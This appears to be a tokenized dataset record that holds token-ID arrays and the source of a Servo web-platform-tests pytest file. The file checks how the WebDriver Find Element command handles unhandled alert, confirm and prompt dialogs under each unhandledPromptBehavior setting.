35, 9734, 36, 3863, 2, 1585, 198, 1386, 686, 198, 61, 507, 198, 1386, 507, 198, 91, 686, 198, 2, 1302, 582, 3824, 51, 1697, 316, 1288, 686, 198, 2, 1744, 582, 359, 1585, 198, 91, 1871, 198, 2, 466, 582, 298, 3437, 401, 1871, 198, 2, 1302, 582, 3824, 17025, 436, 29083, 5697, 1288, 1871, 198, 2, 9788, 63, 344, 582, 298, 8143, 30815, 63, 50, 80, 49, 1165, 2, 1585, 198, 1386, 1585, 198, 91, 1871, 198, 2, 466, 582, 298, 3437, 401, 1871, 198, 2, 1302, 582, 3824, 18220, 9240, 370, 25523, 1288, 1871, 198, 2, 9788, 63, 344, 582, 298, 23, 1156, 81, 20, 76, 81, 75, 46, 20, 33, 2, 1585, 198, 1386, 1585, 198, 91, 1871, 198, 2, 466, 582, 298, 3437, 401, 1871, 198, 2, 1302, 582, 3824, 3428, 13, 1618, 13, 30005, 1288, 1871, 198, 2, 9788, 63, 344, 582, 298, 20, 55, 75, 352, 55, 7862, 48, 63, 67, 2, 1585, 198, 93, 686, 198, 61, 507, 198, 1386, 507, 198, 91, 686, 198, 2, 1302, 582, 3824, 17103, 1288, 686, 198, 2, 1744, 582, 359, 1585, 198, 91, 1871, 198, 2, 466, 582, 298, 3437, 401, 1871, 198, 2, 1302, 582, 3824, 7412, 436, 510, 1567, 316, 1288, 1871, 198, 2, 9788, 63, 344, 582, 298, 81, 56, 65, 37, 87, 1447, 20, 63, 25512, 2, 1585, 198, 1386, 1585, 198, 91, 1871, 198, 2, 466, 582, 298, 3437, 401, 1871, 198, 2, 1302, 582, 3824, 4299, 316, 28406, 23928, 554, 1288, 1871, 198, 2, 9788, 63, 344, 582, 298, 16, 89, 48, 2587, 84, 771, 1028, 83, 2, 1585, 198, 1386, 1585, 198, 91, 1871, 198, 2, 466, 582, 298, 3437, 401, 1871, 198, 2, 1302, 582, 3824, 45, 11124, 28406, 23450, 1996, 1288, 1871, 198, 2, 9788, 63, 344, 582, 298, 23827, 84, 7555, 15544, 57, 19, 41, 2, 1585, 198, 1386, 1585, 198, 91, 1871, 198, 2, 466, 582, 298, 3437, 401, 1871, 198, 2, 1302, 582, 3824, 12023 ]
[ 636, 2443, 363, 492, 2649, 63, 5955, 199, 504, 6950, 492, 485, 199, 199, 318, 664, 63, 576, 837, 199, 198, 1107, 359, 507, 198, 91, 686, 198, 2, 1302, 582, 3824, 14109, 1288, 686, 198, 2, 1744, 582, 359, 1585, 198, 91, 1871, 198, 2, 466, 582, 298, 3437, 401, 1871, 198, 2, 1302, 582, 3824, 19617, 71, 1958, 1288, 1871, 198, 2, 9788, 63, 344, 582, 298, 57, 2585, 41, 18, 3888, 20, 44, 5466, 2, 1585, 198, 1386, 1585, 198, 91, 1871, 198, 2, 466, 582, 298, 3437, 401, 1871, 198, 2, 1302, 582, 3824, 8555, 644, 6281, 1288, 1871, 198, 2, 9788, 63, 344, 582, 298, 79, 2090, 70, 63, 90, 5487, 55, 24817, 2, 1585, 198, 1386, 1585, 198, 91, 1871, 198, 2, 466, 582, 298, 3437, 401, 1871, 198, 2, 1302, 582, 3824, 7223, 9147, 2104, 706, 1288, 1871, 198, 2, 9788, 63, 344, 582, 298, 80, 42, 72, 44, 25, 596, 88, 54, 63, 53, 2, 1585, 198, 1386, 686, 198, 61, 2742, 198, 1386, 507, 198, 91, 686, 198, 2, 1302, 582, 3824, 8555, 1288, 686, 198, 2, 1744, 582, 359, 1585, 198, 91, 1871, 198, 2, 466, 582, 298, 3437, 401, 1871, 198, 2, 1302, 582, 3824, 1451, 3161, 436, 20220, 1288, 1871, 198, 2, 9788, 63, 344, 582, 298, 22, 14249, 322, 50, 43, 5663, 6649, 2, 1585, 198, 1386, 1585, 198, 91, 1871, 198, 2, 466, 582, 298, 3437, 401, 1871, 198, 2, 1302, 582, 3824, 4299, 316, 28406, 23928, 554, 1288, 1871, 198, 2, 9788, 63, 344, 582, 298, 16, 89, 48, 2587, 84, 771, 1028, 83, 2, 1585, 198, 1386, 1585, 198, 91, 1871, 198, 2, 466, 582, 298, 3437, 401, 1871, 198, 2, 1302, 582, 3824, 7776, 1536, 11426, 1288, 1871, 198, 2, 9788, 63, 344, 582, 298, 57, 18114, 69, 16, 21733, 34, 2720, 79, 2, 1585, 198, 1386, 1585, 198, 91, 1871, 198, 2, 466, 582, 298, 3437, 401, 1871, 198, 2, 1302, 582, 3824, 5375, 316, 436, 699, 3759, 316, 1288, 1871, 198, 2, 9788, 63, 344, 582, 298, 67, 43, 58, 40, 11859, 17, 31591, 45, 67, 2, 1585, 198, 1386, 1585, 198, 91, 1871, 198, 2, 466, 582, 298, 3437, 401, 1871, 198, 2, 1302, 582, 3824, 12117, 436, 28260, 1288, 1871, 198, 2, 9788, 63, 344, 582, 298, 2324, 2208, 50, 72, 12771, 87, 50, 20, 2, 1585, 198, 1386, 1585, 198, 91, 1871, 198, 2, 466, 582, 298, 3437, 401, 1871, 198, 2, 1302, 582, 3824, 17527, 1288, 1871, 198, 2, 9788, 63, 344, 582, 298, 89, 11394, 42, 53, 71, 25, 38, 6287, 83, 2, 1585, 198, 1386, 686, 198, 61, 507, 198, 1386, 507, 198, 91, 686, 198, 2, 1302, 582, 3824, 30682, 1288, 686, 198, 2, 1744, 582, 359, 1585, 198, 91, 1871, 198, 2, 466, 582, 298, 3437, 401, 1871, 198, 2, 1302, 582, 3824, 16372, 402, 4473, 6851, 1288, 1871, 198, 2, 9788, 63, 344, 582, 298, 36, 89, 50, 13, 18651, 13, 2713, 33, 2, 1585, 198, 1386, 1585, 198, 91, 1871, 198, 2, 466, 582, 298, 3437, 401, 1871, 198, 2, 1302, 582, 3824, 7776, 1536, 377, 6402, 1288, 1871, 198, 2, 9788, 63, 344, 582, 298, 78, 49, 17, 90, 58, 68, 31489, 983, 49, 2, 1585, 198, 1386, 1585, 198, 91, 1871, 198, 2, 466, 582, 298, 3437, 401, 1871, 198, 2, 1302, 582, 3824, 4299, 316, 9973, 316, 23928, 554, 1288, 1871, 198, 2, 9788, 63, 344, 582, 298, 75, 13279, 45, 1165, 49, 13, 81, 2333, 2, 1585, 198, 93, 686, 198, 61, 507, 198, 1386, 507, 198, 91, 686, 198, 2, 1302, 582, 3824, 2944, 45, 1288, 686, 198, 2, 1744, 582, 359, 1585, 198, 91, 1871, 198, 2, 466, 582, 298, 3437, 401, 1871, 198, 2, 1302, 582, 3824, 29006, 370, 5843, 357, 425, 1288, 1871, 198, 2, 9788, 63, 344, 582, 298, 8052, 16936, 20, 82, 20, 42, 7872, 33, 2, 1585, 198, 1386, 1585, 198, 91, 1871, 198, 2, 466, 582, 298, 3437, 401, 1871, 198, 2, 1302, 582, 3824, 24730, 16415, 1288, 1871, 198, 2, 9788, 63, 344, 582, 298, 6553, 44, 43, 83, 35, 9734, 36, 3863, 2, 1585, 198, 1386, 686, 198, 61, 507, 198, 1386, 507, 198, 91, 686, 198, 2, 1302, 582, 3824, 51, 1697, 316, 1288, 686, 198, 2, 1744, 582, 359, 1585, 198, 91, 1871, 198, 2, 466, 582, 298, 3437, 401, 1871, 198, 2, 1302, 582, 3824, 17025, 436, 29083, 5697, 1288, 1871, 198, 2, 9788, 63, 344, 582, 298, 8143, 30815, 63, 50, 80, 49, 1165, 2, 1585, 198, 1386, 1585, 198, 91, 1871, 198, 2, 466, 582, 298, 3437, 401, 1871, 198, 2, 1302, 582, 3824, 18220, 9240, 370, 25523, 1288, 1871, 198, 2, 9788, 63, 344, 582, 298, 23, 1156, 81, 20, 76, 81, 75, 46, 20, 33, 2, 1585, 198, 1386, 1585, 198, 91, 1871, 198, 2, 466, 582, 298, 3437, 401, 1871, 198, 2, 1302, 582, 3824, 3428, 13, 1618, 13, 30005, 1288, 1871, 198, 2, 9788, 63, 344, 582, 298, 20, 55, 75, 352, 55, 7862, 48, 63, 67, 2, 1585, 198, 93, 686, 198, 61, 507, 198, 1386, 507, 198, 91, 686, 198, 2, 1302, 582, 3824, 17103, 1288, 686, 198, 2, 1744, 582, 359, 1585, 198, 91, 1871, 198, 2, 466, 582, 298, 3437, 401, 1871, 198, 2, 1302, 582, 3824, 7412, 436, 510, 1567, 316, 1288, 1871, 198, 2, 9788, 63, 344, 582, 298, 81, 56, 65, 37, 87, 1447, 20, 63, 25512, 2, 1585, 198, 1386, 1585, 198, 91, 1871, 198, 2, 466, 582, 298, 3437, 401, 1871, 198, 2, 1302, 582, 3824, 4299, 316, 28406, 23928, 554, 1288, 1871, 198, 2, 9788, 63, 344, 582, 298, 16, 89, 48, 2587, 84, 771, 1028, 83, 2, 1585, 198, 1386, 1585, 198, 91, 1871, 198, 2, 466, 582, 298, 3437, 401, 1871, 198, 2, 1302, 582, 3824, 45, 11124, 28406, 23450, 1996, 1288, 1871, 198, 2, 9788, 63, 344, 582, 298, 23827, 84, 7555, 15544, 57, 19, 41, 2, 1585, 198, 1386, 1585, 198, 91, 1871, 198, 2, 466, 582, 298, 3437, 401, 1871, 198, 2, 1302, 582, 3824, 12023, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
ecoal95/servo
tests/wpt/web-platform-tests/webdriver/tests/find_element/user_prompts.py
24
3954
# META: timeout=long import pytest from tests.support.asserts import ( assert_error, assert_same_element, assert_success, assert_dialog_handled, ) from tests.support.inline import inline def find_element(session, using, value): return session.transport.send( "POST", "session/{session_id}/element".format(**vars(session)), {"using": using, "value": value}) @pytest.fixture def check_user_prompt_closed_without_exception(session, create_dialog): def check_user_prompt_closed_without_exception(dialog_type, retval): session.url = inline("<p>bar</p>") element = session.find.css("p", all=False) create_dialog(dialog_type, text=dialog_type) response = find_element(session, "css selector", "p") value = assert_success(response) assert_dialog_handled(session, expected_text=dialog_type, expected_retval=retval) assert_same_element(session, value, element) return check_user_prompt_closed_without_exception @pytest.fixture def check_user_prompt_closed_with_exception(session, create_dialog): def check_user_prompt_closed_with_exception(dialog_type, retval): session.url = inline("<p>bar</p>") create_dialog(dialog_type, text=dialog_type) response = find_element(session, "css selector", "p") assert_error(response, "unexpected alert open") assert_dialog_handled(session, expected_text=dialog_type, expected_retval=retval) return check_user_prompt_closed_with_exception @pytest.fixture def check_user_prompt_not_closed_but_exception(session, create_dialog): def check_user_prompt_not_closed_but_exception(dialog_type): session.url = inline("<p>bar</p>") create_dialog(dialog_type, text=dialog_type) response = find_element(session, "css selector", "p") assert_error(response, "unexpected alert open") assert session.alert.text == dialog_type session.alert.dismiss() return check_user_prompt_not_closed_but_exception @pytest.mark.capabilities({"unhandledPromptBehavior": "accept"}) @pytest.mark.parametrize("dialog_type, retval", [ ("alert", None), ("confirm", True), ("prompt", ""), ]) def test_accept(check_user_prompt_closed_without_exception, dialog_type, retval): check_user_prompt_closed_without_exception(dialog_type, retval) @pytest.mark.capabilities({"unhandledPromptBehavior": "accept and notify"}) @pytest.mark.parametrize("dialog_type, retval", [ ("alert", None), ("confirm", True), ("prompt", ""), ]) def test_accept_and_notify(check_user_prompt_closed_with_exception, dialog_type, retval): check_user_prompt_closed_with_exception(dialog_type, retval) @pytest.mark.capabilities({"unhandledPromptBehavior": "dismiss"}) @pytest.mark.parametrize("dialog_type, retval", [ ("alert", None), ("confirm", False), ("prompt", None), ]) def test_dismiss(check_user_prompt_closed_without_exception, dialog_type, retval): check_user_prompt_closed_without_exception(dialog_type, retval) @pytest.mark.capabilities({"unhandledPromptBehavior": "dismiss and notify"}) @pytest.mark.parametrize("dialog_type, retval", [ ("alert", None), ("confirm", False), ("prompt", None), ]) def test_dismiss_and_notify(check_user_prompt_closed_with_exception, dialog_type, retval): check_user_prompt_closed_with_exception(dialog_type, retval) @pytest.mark.capabilities({"unhandledPromptBehavior": "ignore"}) @pytest.mark.parametrize("dialog_type", ["alert", "confirm", "prompt"]) def test_ignore(check_user_prompt_not_closed_but_exception, dialog_type): check_user_prompt_not_closed_but_exception(dialog_type) @pytest.mark.parametrize("dialog_type, retval", [ ("alert", None), ("confirm", False), ("prompt", None), ]) def test_default(check_user_prompt_closed_with_exception, dialog_type, retval): check_user_prompt_closed_with_exception(dialog_type, retval)
mpl-2.0
[ 3, 603, 15808, 26, 2653, 29, 2809, 199, 199, 646, 4613, 199, 199, 504, 2295, 14, 4058, 14, 479, 83, 492, 334, 272, 702, 63, 705, 12, 272, 702, 63, 7191, 63, 2108, 12, 272, 702, 63, 3742, 12, 272, 702, 63, 7196, 63, 11217, 12, 199, 9, 199, 504, 2295, 14, 4058, 14, 6460, 492, 8308, 421, 199, 318, 2342, 63, 2108, 8, 1730, 12, 1808, 12, 574, 304, 272, 372, 2351, 14, 5545, 14, 2254, 8, 267, 298, 4030, 401, 298, 1730, 5321, 1730, 63, 344, 5995, 2108, 1674, 908, 3682, 2936, 8, 1730, 1826, 267, 2420, 4941, 582, 1808, 12, 298, 585, 582, 574, 1552, 421, 199, 32, 4462, 14, 5997, 199, 318, 1104, 63, 751, 63, 7650, 63, 5938, 63, 7395, 63, 1971, 8, 1730, 12, 1218, 63, 7196, 304, 272, 347, 1104, 63, 751, 63, 7650, 63, 5938, 63, 7395, 63, 1971, 8, 7196, 63, 466, 12, 9151, 304, 267, 2351, 14, 633, 275, 8308, 6757, 80, 30, 1700, 1108, 80, 9579, 267, 1819, 275, 2351, 14, 1623, 14, 3919, 480, 80, 401, 1006, 29, 797, 9, 398, 1218, 63, 7196, 8, 7196, 63, 466, 12, 1318, 29, 7196, 63, 466, 9, 398, 1177, 275, 2342, 63, 2108, 8, 1730, 12, 298, 3919, 9759, 401, 298, 80, 531, 267, 574, 275, 702, 63, 3742, 8, 1310, 9, 398, 702, 63, 7196, 63, 11217, 8, 1730, 12, 1420, 63, 505, 29, 7196, 63, 466, 12, 1420, 63, 18476, 29, 18476, 9, 398, 702, 63, 7191, 63, 2108, 8, 1730, 12, 574, 12, 1819, 9, 339, 372, 1104, 63, 751, 63, 7650, 63, 5938, 63, 7395, 63, 1971, 421, 199, 32, 4462, 14, 5997, 199, 318, 1104, 63, 751, 63, 7650, 63, 5938, 63, 1045, 63, 1971, 8, 1730, 12, 1218, 63, 7196, 304, 272, 347, 1104, 63, 751, 63, 7650, 63, 5938, 63, 1045, 63, 1971, 8, 7196, 63, 466, 12, 9151, 304, 267, 2351, 14, 633, 275, 8308, 6757, 80, 30, 1700, 1108, 80, 9579, 398, 1218, 63, 7196, 8, 7196, 63, 466, 12, 1318, 29, 7196, 63, 466, 9, 398, 1177, 275, 2342, 63, 2108, 8, 1730, 12, 298, 3919, 9759, 401, 298, 80, 531, 267, 702, 63, 705, 8, 1310, 12, 298, 8953, 10459, 1551, 531, 398, 702, 63, 7196, 63, 11217, 8, 1730, 12, 1420, 63, 505, 29, 7196, 63, 466, 12, 1420, 63, 18476, 29, 18476, 9, 339, 372, 1104, 63, 751, 63, 7650, 63, 5938, 63, 1045, 63, 1971, 421, 199, 32, 4462, 14, 5997, 199, 318, 1104, 63, 751, 63, 7650, 63, 1397, 63, 5938, 63, 7911, 63, 1971, 8, 1730, 12, 1218, 63, 7196, 304, 272, 347, 1104, 63, 751, 63, 7650, 63, 1397, 63, 5938, 63, 7911, 63, 1971, 8, 7196, 63, 466, 304, 267, 2351, 14, 633, 275, 8308, 6757, 80, 30, 1700, 1108, 80, 9579, 398, 1218, 63, 7196, 8, 7196, 63, 466, 12, 1318, 29, 7196, 63, 466, 9, 398, 1177, 275, 2342, 63, 2108, 8, 1730, 12, 298, 3919, 9759, 401, 298, 80, 531, 267, 702, 63, 705, 8, 1310, 12, 298, 8953, 10459, 1551, 531, 398, 702, 2351, 14, 9241, 14, 505, 508, 9592, 63, 466, 267, 2351, 14, 9241, 14, 32439, 342, 339, 372, 1104, 63, 751, 63, 7650, 63, 1397, 63, 5938, 63, 7911, 63, 1971, 421, 199, 32, 4462, 14, 1657, 14, 10732, 6333, 23648, 20430, 25361, 582, 298, 5694, 5984, 199, 32, 4462, 14, 1657, 14, 10396, 480, 7196, 63, 466, 12, 9151, 401, 359, 272, 1689, 9241, 401, 488, 395, 272, 1689, 9548, 401, 715, 395, 272, 1689, 7650, 401, 16241, 199, 566, 199, 318, 511, 63, 5694, 8, 1074, 63, 751, 63, 7650, 63, 5938, 63, 7395, 63, 1971, 12, 9592, 63, 466, 12, 9151, 304, 272, 1104, 63, 751, 63, 7650, 63, 5938, 63, 7395, 63, 1971, 8, 7196, 63, 466, 12, 9151, 9, 421, 199, 32, 4462, 14, 1657, 14, 10732, 6333, 23648, 20430, 25361, 582, 298, 5694, 436, 11705, 5984, 199, 32, 4462, 14, 1657, 14, 10396, 480, 7196, 63, 466, 12, 9151, 401, 359, 272, 1689, 9241, 401, 488, 395, 272, 1689, 9548, 401, 715, 395, 272, 1689, 7650, 401, 16241, 199, 566, 199, 318, 511, 63, 5694, 63, 460, 63, 6814, 8, 1074, 63, 751, 63, 7650, 63, 5938, 63, 1045, 63, 1971, 12, 9592, 63, 466, 12, 9151, 304, 272, 1104, 63, 751, 63, 7650, 63, 5938, 63, 1045, 63, 1971, 8, 7196, 63, 466, 12, 9151, 9, 421, 199, 32, 4462, 14, 1657, 14, 10732, 6333, 23648, 20430, 25361, 582, 298, 32439, 5984, 199, 32, 4462, 14, 1657, 14, 10396, 480, 7196, 63, 466, 12, 9151, 401, 359, 272, 1689, 9241, 401, 488, 395, 272, 1689, 9548, 401, 756, 395, 272, 1689, 7650, 401, 488, 395, 199, 566, 199, 318, 511, 63, 32439, 8, 1074, 63, 751, 63, 7650, 63, 5938, 63, 7395, 63, 1971, 12, 9592, 63, 466, 12, 9151, 304, 272, 1104, 63, 751, 63, 7650, 63, 5938, 63, 7395, 63, 1971, 8, 7196, 63, 466, 12, 9151, 9, 421, 199, 32, 4462, 14, 1657, 14, 10732, 6333, 23648, 20430, 25361, 582, 298, 32439, 436, 11705, 5984, 199, 32, 4462, 14, 1657, 14, 10396, 480, 7196, 63, 466, 12, 9151, 401, 359, 272, 1689, 9241, 401, 488, 395, 272, 1689, 9548, 401, 756, 395, 272, 1689, 7650, 401, 488, 395, 199, 566, 199, 318, 511, 63, 32439, 63, 460, 63, 6814, 8, 1074, 63, 751, 63, 7650, 63, 5938, 63, 1045, 63, 1971, 12, 9592, 63, 466, 12, 9151, 304, 272, 1104, 63, 751, 63, 7650, 63, 5938, 63, 1045, 63, 1971, 8, 7196, 63, 466, 12, 9151, 9, 421, 199, 32, 4462, 14, 1657, 14, 10732, 6333, 23648, 20430, 25361, 582, 298, 4247, 5984, 199, 32, 4462, 14, 1657, 14, 10396, 480, 7196, 63, 466, 401, 2097, 9241, 401, 298, 9548, 401, 298, 7650, 3135, 199, 318, 511, 63, 4247, 8, 1074, 63, 751, 63, 7650, 63, 1397, 63, 5938, 63, 7911, 63, 1971, 12, 9592, 63, 466, 304, 272, 1104, 63, 751, 63, 7650, 63, 1397, 63, 5938, 63, 7911, 63, 1971, 8, 7196, 63, 466, 9, 421, 199, 32, 4462, 14, 1657, 14, 10396, 480, 7196, 63, 466 ]
[ 603, 15808, 26, 2653, 29, 2809, 199, 199, 646, 4613, 199, 199, 504, 2295, 14, 4058, 14, 479, 83, 492, 334, 272, 702, 63, 705, 12, 272, 702, 63, 7191, 63, 2108, 12, 272, 702, 63, 3742, 12, 272, 702, 63, 7196, 63, 11217, 12, 199, 9, 199, 504, 2295, 14, 4058, 14, 6460, 492, 8308, 421, 199, 318, 2342, 63, 2108, 8, 1730, 12, 1808, 12, 574, 304, 272, 372, 2351, 14, 5545, 14, 2254, 8, 267, 298, 4030, 401, 298, 1730, 5321, 1730, 63, 344, 5995, 2108, 1674, 908, 3682, 2936, 8, 1730, 1826, 267, 2420, 4941, 582, 1808, 12, 298, 585, 582, 574, 1552, 421, 199, 32, 4462, 14, 5997, 199, 318, 1104, 63, 751, 63, 7650, 63, 5938, 63, 7395, 63, 1971, 8, 1730, 12, 1218, 63, 7196, 304, 272, 347, 1104, 63, 751, 63, 7650, 63, 5938, 63, 7395, 63, 1971, 8, 7196, 63, 466, 12, 9151, 304, 267, 2351, 14, 633, 275, 8308, 6757, 80, 30, 1700, 1108, 80, 9579, 267, 1819, 275, 2351, 14, 1623, 14, 3919, 480, 80, 401, 1006, 29, 797, 9, 398, 1218, 63, 7196, 8, 7196, 63, 466, 12, 1318, 29, 7196, 63, 466, 9, 398, 1177, 275, 2342, 63, 2108, 8, 1730, 12, 298, 3919, 9759, 401, 298, 80, 531, 267, 574, 275, 702, 63, 3742, 8, 1310, 9, 398, 702, 63, 7196, 63, 11217, 8, 1730, 12, 1420, 63, 505, 29, 7196, 63, 466, 12, 1420, 63, 18476, 29, 18476, 9, 398, 702, 63, 7191, 63, 2108, 8, 1730, 12, 574, 12, 1819, 9, 339, 372, 1104, 63, 751, 63, 7650, 63, 5938, 63, 7395, 63, 1971, 421, 199, 32, 4462, 14, 5997, 199, 318, 1104, 63, 751, 63, 7650, 63, 5938, 63, 1045, 63, 1971, 8, 1730, 12, 1218, 63, 7196, 304, 272, 347, 1104, 63, 751, 63, 7650, 63, 5938, 63, 1045, 63, 1971, 8, 7196, 63, 466, 12, 9151, 304, 267, 2351, 14, 633, 275, 8308, 6757, 80, 30, 1700, 1108, 80, 9579, 398, 1218, 63, 7196, 8, 7196, 63, 466, 12, 1318, 29, 7196, 63, 466, 9, 398, 1177, 275, 2342, 63, 2108, 8, 1730, 12, 298, 3919, 9759, 401, 298, 80, 531, 267, 702, 63, 705, 8, 1310, 12, 298, 8953, 10459, 1551, 531, 398, 702, 63, 7196, 63, 11217, 8, 1730, 12, 1420, 63, 505, 29, 7196, 63, 466, 12, 1420, 63, 18476, 29, 18476, 9, 339, 372, 1104, 63, 751, 63, 7650, 63, 5938, 63, 1045, 63, 1971, 421, 199, 32, 4462, 14, 5997, 199, 318, 1104, 63, 751, 63, 7650, 63, 1397, 63, 5938, 63, 7911, 63, 1971, 8, 1730, 12, 1218, 63, 7196, 304, 272, 347, 1104, 63, 751, 63, 7650, 63, 1397, 63, 5938, 63, 7911, 63, 1971, 8, 7196, 63, 466, 304, 267, 2351, 14, 633, 275, 8308, 6757, 80, 30, 1700, 1108, 80, 9579, 398, 1218, 63, 7196, 8, 7196, 63, 466, 12, 1318, 29, 7196, 63, 466, 9, 398, 1177, 275, 2342, 63, 2108, 8, 1730, 12, 298, 3919, 9759, 401, 298, 80, 531, 267, 702, 63, 705, 8, 1310, 12, 298, 8953, 10459, 1551, 531, 398, 702, 2351, 14, 9241, 14, 505, 508, 9592, 63, 466, 267, 2351, 14, 9241, 14, 32439, 342, 339, 372, 1104, 63, 751, 63, 7650, 63, 1397, 63, 5938, 63, 7911, 63, 1971, 421, 199, 32, 4462, 14, 1657, 14, 10732, 6333, 23648, 20430, 25361, 582, 298, 5694, 5984, 199, 32, 4462, 14, 1657, 14, 10396, 480, 7196, 63, 466, 12, 9151, 401, 359, 272, 1689, 9241, 401, 488, 395, 272, 1689, 9548, 401, 715, 395, 272, 1689, 7650, 401, 16241, 199, 566, 199, 318, 511, 63, 5694, 8, 1074, 63, 751, 63, 7650, 63, 5938, 63, 7395, 63, 1971, 12, 9592, 63, 466, 12, 9151, 304, 272, 1104, 63, 751, 63, 7650, 63, 5938, 63, 7395, 63, 1971, 8, 7196, 63, 466, 12, 9151, 9, 421, 199, 32, 4462, 14, 1657, 14, 10732, 6333, 23648, 20430, 25361, 582, 298, 5694, 436, 11705, 5984, 199, 32, 4462, 14, 1657, 14, 10396, 480, 7196, 63, 466, 12, 9151, 401, 359, 272, 1689, 9241, 401, 488, 395, 272, 1689, 9548, 401, 715, 395, 272, 1689, 7650, 401, 16241, 199, 566, 199, 318, 511, 63, 5694, 63, 460, 63, 6814, 8, 1074, 63, 751, 63, 7650, 63, 5938, 63, 1045, 63, 1971, 12, 9592, 63, 466, 12, 9151, 304, 272, 1104, 63, 751, 63, 7650, 63, 5938, 63, 1045, 63, 1971, 8, 7196, 63, 466, 12, 9151, 9, 421, 199, 32, 4462, 14, 1657, 14, 10732, 6333, 23648, 20430, 25361, 582, 298, 32439, 5984, 199, 32, 4462, 14, 1657, 14, 10396, 480, 7196, 63, 466, 12, 9151, 401, 359, 272, 1689, 9241, 401, 488, 395, 272, 1689, 9548, 401, 756, 395, 272, 1689, 7650, 401, 488, 395, 199, 566, 199, 318, 511, 63, 32439, 8, 1074, 63, 751, 63, 7650, 63, 5938, 63, 7395, 63, 1971, 12, 9592, 63, 466, 12, 9151, 304, 272, 1104, 63, 751, 63, 7650, 63, 5938, 63, 7395, 63, 1971, 8, 7196, 63, 466, 12, 9151, 9, 421, 199, 32, 4462, 14, 1657, 14, 10732, 6333, 23648, 20430, 25361, 582, 298, 32439, 436, 11705, 5984, 199, 32, 4462, 14, 1657, 14, 10396, 480, 7196, 63, 466, 12, 9151, 401, 359, 272, 1689, 9241, 401, 488, 395, 272, 1689, 9548, 401, 756, 395, 272, 1689, 7650, 401, 488, 395, 199, 566, 199, 318, 511, 63, 32439, 63, 460, 63, 6814, 8, 1074, 63, 751, 63, 7650, 63, 5938, 63, 1045, 63, 1971, 12, 9592, 63, 466, 12, 9151, 304, 272, 1104, 63, 751, 63, 7650, 63, 5938, 63, 1045, 63, 1971, 8, 7196, 63, 466, 12, 9151, 9, 421, 199, 32, 4462, 14, 1657, 14, 10732, 6333, 23648, 20430, 25361, 582, 298, 4247, 5984, 199, 32, 4462, 14, 1657, 14, 10396, 480, 7196, 63, 466, 401, 2097, 9241, 401, 298, 9548, 401, 298, 7650, 3135, 199, 318, 511, 63, 4247, 8, 1074, 63, 751, 63, 7650, 63, 1397, 63, 5938, 63, 7911, 63, 1971, 12, 9592, 63, 466, 304, 272, 1104, 63, 751, 63, 7650, 63, 1397, 63, 5938, 63, 7911, 63, 1971, 8, 7196, 63, 466, 9, 421, 199, 32, 4462, 14, 1657, 14, 10396, 480, 7196, 63, 466, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 